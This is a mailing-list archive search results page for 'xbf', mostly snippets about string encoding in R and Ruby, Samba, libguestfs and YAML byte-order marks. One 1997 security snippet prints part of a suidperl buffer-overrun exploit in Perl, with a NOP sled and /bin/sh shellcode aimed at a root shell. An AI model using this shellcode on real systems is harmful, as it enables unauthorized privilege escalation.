search for: xbf

Displaying 20 results from an estimated 29 matches for "xbf".

Did you mean: x0f
2016 Jul 07
2
String encoding problem
If you print: "\xc9\x82\xbf" you get "\u0242\xbf" But if you try and evaluate that string you get: > "\u0242\xbf" Error: mixing Unicode and octal/hex escapes in a string is not allowed (Probably will only happen on mac/linux with default utf-8 encoding) Hadley -- http://hadley.nz
2006 Mar 21
2
How do I get substring of utf-8 string?
I''m trying to get substring from a utf-8 encoded string. (say, first 50 characters of the string) String#[0..49] would give me the first 50 bytes not 50 characters.. I know there is jcode library, but it only let you count number of characters in utf-8 string. unicode gem doesn''t seem to help much. unicode_hacks gem seem to solve the problem, but it also seems to
2016 Jul 07
2
String encoding problem
On Thu, Jul 7, 2016 at 10:11 AM, Duncan Murdoch <murdoch.duncan at gmail.com> wrote: > On 07/07/2016 10:57 AM, Hadley Wickham wrote: >> >> If you print: >> >> "\xc9\x82\xbf" >> >> you get >> >> "\u0242\xbf" >> >> But if you try and evaluate that string you get: >> >>> "\u0242\xbf" >> >> Error: mixing Unicode and octal/hex escapes in a string is not allowed >> >> (Prob...
2015 Aug 26
2
classicupgrade
I have a Samba 3.6 PDC (ClearOS) that I want to migrate to Sernet Samba 4.2 AD on a Centos7-arm box. So I am reading: https://wiki.samba.org/index.php/Migrating_a_Samba_NT4_domain_to_a_Samba_AD_domain_%28classic_upgrade%29 And trying to figure out what files I need. Note this is a totally NEW box, I need to copy over the needed files. So do I move all of the .tdb files? There are actually
2016 Jul 07
2
String encoding problem
...02\361\202\311\202\277\202\315" > > If you want a result that does not depend on your locale and is none of the supported encodings, you have to declare it as bytes (back in UTF-8): > >> Encoding(y)="bytes" >> y > [1] "\\x82\\xb1\\x82\\xf1\\x82\\xc9\\x82\\xbf\\x82\\xcd" >> iconv(y, from="Shift-JIS", to="utf-8") > [1] "?????" > > But that has its own perils such as the fact that you cannot dput() byte-encoded strings. Right - I'm aware of that. But to me, it doesn't seem correct to print a strin...
2016 Jul 07
0
String encoding problem
..., Hadley Wickham <h.wickham at gmail.com> wrote: > > On Thu, Jul 7, 2016 at 10:11 AM, Duncan Murdoch > <murdoch.duncan at gmail.com> wrote: >> On 07/07/2016 10:57 AM, Hadley Wickham wrote: >>> >>> If you print: >>> >>> "\xc9\x82\xbf" >>> >>> you get >>> >>> "\u0242\xbf" >>> >>> But if you try and evaluate that string you get: >>> >>>> "\u0242\xbf" >>> >>> Error: mixing Unicode and octal/hex escapes in a st...
2006 Nov 04
0
Fatal error in edge
...nfig/../vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:331:in `require'': ./script/../config/../config/../vendor/rails/activerecord/lib/../../activesupport/lib/active_support/json/encoders/core.rb:35: too short multibyte code string: /([\xC0-\xDF][\x80-\xBF]| (SyntaxError) [\xE0-\xEF][\x80-\xBF]{2}| [\xF0-\xF7][\x80-\xBF]{3})+/ from ./script/../config/../config/../vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:331:in `require'' [etc.] David -- http://www.rubypowera...
2007 May 16
0
How we got rid of a bus error when using acts_as_ferret
...d to zero in, first by removing the :analyzer part, and the bus error was gone. We started to suspect the analyzer that we were using: :analyzer => Ferret::Analysis::RegExpAnalyzer.new(FerretHelper::GENERIC_ANALYSIS_REGEX, true) Where GENERIC_ANALYSIS_REGEX is /([a-zA-Z]|[\xc0-\xdf][\x80-\xbf])+|[0-9]+|[\xe0-\xef][\x80-\xbf][\x80-\xbf]/ This is used, a la Jcode, to tokenize both European-language words, numbers, and CJV chars. Interestingly, we started to suspect if Mongrel''s development mode is the culprit. But anyway, we just created the Analyzer beforehand, and put it some...
2012 Dec 15
1
virt-resize Fatal error: exception Guestfs.Error("e2fsck_f
...v/vg0/kvm105_img ... libguestfs: trace: part_init "/dev/sdb" "msdos" libguestfs: trace: part_init = 0 libguestfs: trace: pread_device "/dev/sda" 446 0 libguestfs: trace: pread_device = "\xebc\x90\x10\x8e\xd0\xbc\x00\xb0\xb8\x00\x00\x8e\xd8\x8e\xc0\xfb\xbe\x00|\xbf\x00\x06\xb9\x00\x02\xf3\xa4\xea!\x06\x00\x00\xbe\xbe\x078\x04u\x0b\x83\xc6\x10\x81\xfe\xfe\x07u\xf3\xeb\x16\xb4\x02\xb0\x01\xbb\x00|\xb2\x80\x8at\x01\x8bL\x02\xcd\x13\xea\x00|\x00\x00\xeb\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x00\x00\x00\x00\xff\xfa...
2010 Feb 03
1
Unicode related query
...> by using the following command cat <file> | tr -sc A-Za-z '\012' My question is how to specify unicode character and ASCII. Specifically text text file containing 3 byte sequence starting with \x0e in the tr command. I am able to see the character using: echo -e '\xe0\xa5\xbf' What regex incantation would make tr give the results I want? I am new to unicode. Regards, Rajagopal
2010 Feb 16
7
YAML, UTF-8, TextMate, Notepad
...ad tried to do that but I could not get the YAML localization file to load. What I had done was load the ANSI (i.e. iso-8859-1) localization file into Notepad, convert to UTF-8, and saved that file. Then all my German (de.yml) localizations failed. It turns out that Notepad places "\xEF\xBB\xBF" at the beginning of the file to indicate that this is a YAML file. These three bytes appear to screw up YAML::load Gimme a break! Note only does Notepad put in these indicator bytes ... so does TextMate. In fact, TextMate will happily determine that your non-"\xEF\xBB\xBF" file...
2010 Nov 18
2
i18n_routes
...FP'' => ''welcome#index'', :as => :about --------------------------------- in logs i have ------------------------------------- Started GET "/привет" for 77.66.xxx.xxx at 2010-11-18 23:22:46 +0300 ActionController::RoutingError (No route matches "/\xD0\xBF \xD1\x80\xD0\xB8\xD0\xB2\xD0\xB5\xD1\x82"): Started GET "/привет" for 77.66.xxx.xxx at 2010-11-18 23:27:37 +0300 ActionController::RoutingError (No route matches "/\xD0\xBF \xD1\x80\xD0\xB8\xD0\xB2\xD0\xB5\xD1\x82"): Please give me an advice how to make it right . --...
2007 Jan 12
9
Nil object in E1 capture the order
I''m following the depot application in the rails bible Agile Web Development with Rails. In interation E1 NoMethodError in Admin#checkout Showing app/views/admin/checkout.rhtml where line #12 raised: You have a nil object when you didn''t expect it! You might have expected an instance of Array. The error occured while evaluating nil.include? Extracted source (around line #12):
2017 Apr 03
0
Re: [PATCH 1/1] v2v: windows convert: fix virtio block driver installation for w10/w2k16
...gt; + [ "DriverDatabase"; "DriverPackages"; drv_inf_label ], > + [ "Version", REG_BINARY ("\x00\xff\x09\x00\x00\x00\x00\x00" ^ > + "\x7b\xe9\x36\x4d\x25\xe3\xce\x11" ^ > + "\xbf\xc1\x08\x00\x2b\xe1\x03\x18" ^ > + (String.make 24 '\x00')) ]; > + (* Version is necessary for Windows-Kernel-Pnp in w10/w2k16 *) > + > [ "DriverDatabase"; "DriverPackages"; drv_inf_label; > "Configurati...
2007 Dec 20
0
Data bug that read.csv doesn't like
...e piece of the data file I used for the example below. Best, Randy > read.csv('../data/tmp.csv') Smoking_status Age_start_smoking Pack_day 1 0 2 0 3 missing missing missing 4 1 18 \xc9\xd9\xc1\xbf 5 1 20 1 > read.csv('../data/tmp.csv', na.strings = 'missing') Error in type.convert(data[[i]], as.is = as.is[i], dec = dec, na.strings = character(0)) : invalid multibyte string > sessionInfo() R version 2.6.1 (2007-11-26) i38...
2016 Apr 05
0
[PATCH 4/7] v2v: extract reusable parts of viostor regedits
...quot;; - "SignerScore", REG_DWORD 0x0d000005_l; - "StatusFlags", REG_DWORD 0x00000012_l; - (* NB: scsi_adapter_guid appears inside this string. *) - "Version", REG_BINARY "\x00\xff\x09\x00\x00\x00\x00\x00\x7b\xe9\x36\x4d\x25\xe3\xce\x11\xbf\xc1\x08\x00\x2b\xe1\x03\x18\x00\x40\x90\xed\x87\x7f\xcf\x01\x98\x21\x68\x00\x47\x00\x3e\x00\x00\x00\x00\x00\x00\x00\x00\x00" ]; - - [ "DriverDatabase"; "DriverPackages"; viostor_inf; "Configurations" ], - []; + let service_group = "SCSI miniport&qu...
1997 Nov 13
0
another buffer overrun in sperl5.003
...buf and Perl calls longjmp() with it somewhere in my_exit(). Run this and wait for a root prompt: [exploit code] #!/usr/bin/perl # yes, this suidperl exploit is in perl, isn''t it wonderful? :) $| = 1; $shellcode = "\x90" x 512 . # nops "\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp # "standard shellcode" by Aleph One "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; # start...
2018 Feb 06
0
"make check" test-hash-method bus error (Sparc alignment)
...{ ... 115 { "sha1", 116 "", 117 0, 118 1, 119 "\xda\x39\xa3\xee\x5e\x6b\x4b\x0d" 120 "\x32\x55\xbf\xef\x95\x60\x18\x90" 121 "\xaf\xd8\x07\x09", 122 160 / 8 123 }, ... etc. The input data needs to be 8 byte aligned but is just a void *. Thanks and regards, Rainer
1999 Feb 25
2
smbtar problem
I was using smbtar to test backing up an NT server, everything works fine except that for quite a lot of the files it has an error downloading them(probably 2/3 of them actually). All it says is : Error reading file \dir\dir\file. Got 0 bytes Didn't get entire file. size=533, nread=0 I could see this happening if the file were opened exclusively such as the paging file, but to my knowledge
2017 Mar 13
2
virt-customize fail to inject firstboot script when running it from script.
...d" libguestfs: trace: truncate = 0 libguestfs: trace: write_append "/var/lib/urandom/random-seed" "\x87}\x96\x13\xa73\xd6\xc8\x7f\x93\xd0)\x1d\xcd\xf1\xab\xca?`[u\x80\x0b\xd4\xebIwC\xd2\x94\xfcm\xc9!\x0fj\x04\xe9\x92h\xdc\xf5\x07\xc3\xc5\xd4\xae\x1f\xff\xc9\xb0K%\x9f\xad\xff{Y\xbfT\xb2\x92\x0b\x03\xde<\xb2\xfe\xc7\xeb\x01\xb6\xd4!\xdb\xb1\x18\x1d6\xa9\xb9SO#\xae8\xb80\x1b|\xa4\xc3V\xda\x0e%\x81\xc1\x9a\xbfS\xa5\xeb\x94\xb9\xf0{\xe8 \xcb|\x00\xe8\xe2-\xfa\x87\x15\xbe\x96\xbb\xffW#\\x84\x83\x8c\x06C\xf9\xb7\xb9\xff!\x8c\x18\x17\xd92\x1a\xd6W\xc0\xab\x11\x04\x09G\xacG/\xd7\x...